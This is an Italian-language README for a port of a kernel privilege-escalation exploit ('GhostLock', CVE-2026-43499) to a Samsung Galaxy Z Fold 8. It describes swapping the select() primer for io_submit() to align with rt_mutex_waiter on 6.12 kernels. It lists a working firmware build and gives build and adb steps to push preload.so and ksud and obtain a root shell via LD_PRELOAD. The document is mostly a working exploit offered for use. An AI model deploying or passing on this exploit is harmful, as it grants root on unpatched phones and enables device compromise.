
GhostLock CVE-2026-43499 port per Galaxy Z Fold 8 (h8q)
La maggior parte di questo codice si basa sul fork di @polygraphene dell'originale.
Sono state necessarie pesanti modifiche perché il primer principale (select()) utilizzato dalla maggior parte delle varianti pubblicate dell'exploit non si allinea correttamente con la struct rt_mutex_waiter su questi target Samsung 6.12. Al suo posto viene utilizzato io_submit().
Funzionante: h8q-F971USQU1AZFW (SM-F971U, P0=0xc7800000). Compila con make PROJECT=h8q-F971USQU1AZFW.
git clone (questo repo)
cd (questo repo)
export ANDROID_NDK_ROOT=(il tuo percorso ndk)
make
Compila ksud + kernelsu.ko usando questo albero di polygraphene e seguendo questa istruzione. Questo albero contiene una patch da BuSung-dev/Root-My-Galaxy e l'adattamento per la 6.12.
$ adb install /path/to/KernelSu_Manager.apk
$ adb push build/preload.so /data/local/tmp/
$ adb push $KERNELSU/target/aarch64-linux-android/release/ksud /data/local/tmp/
$ adb shell env LD_PRELOAD=/data/local/tmp/preload.so sh -c 'echo PWND'
io_submit per q8q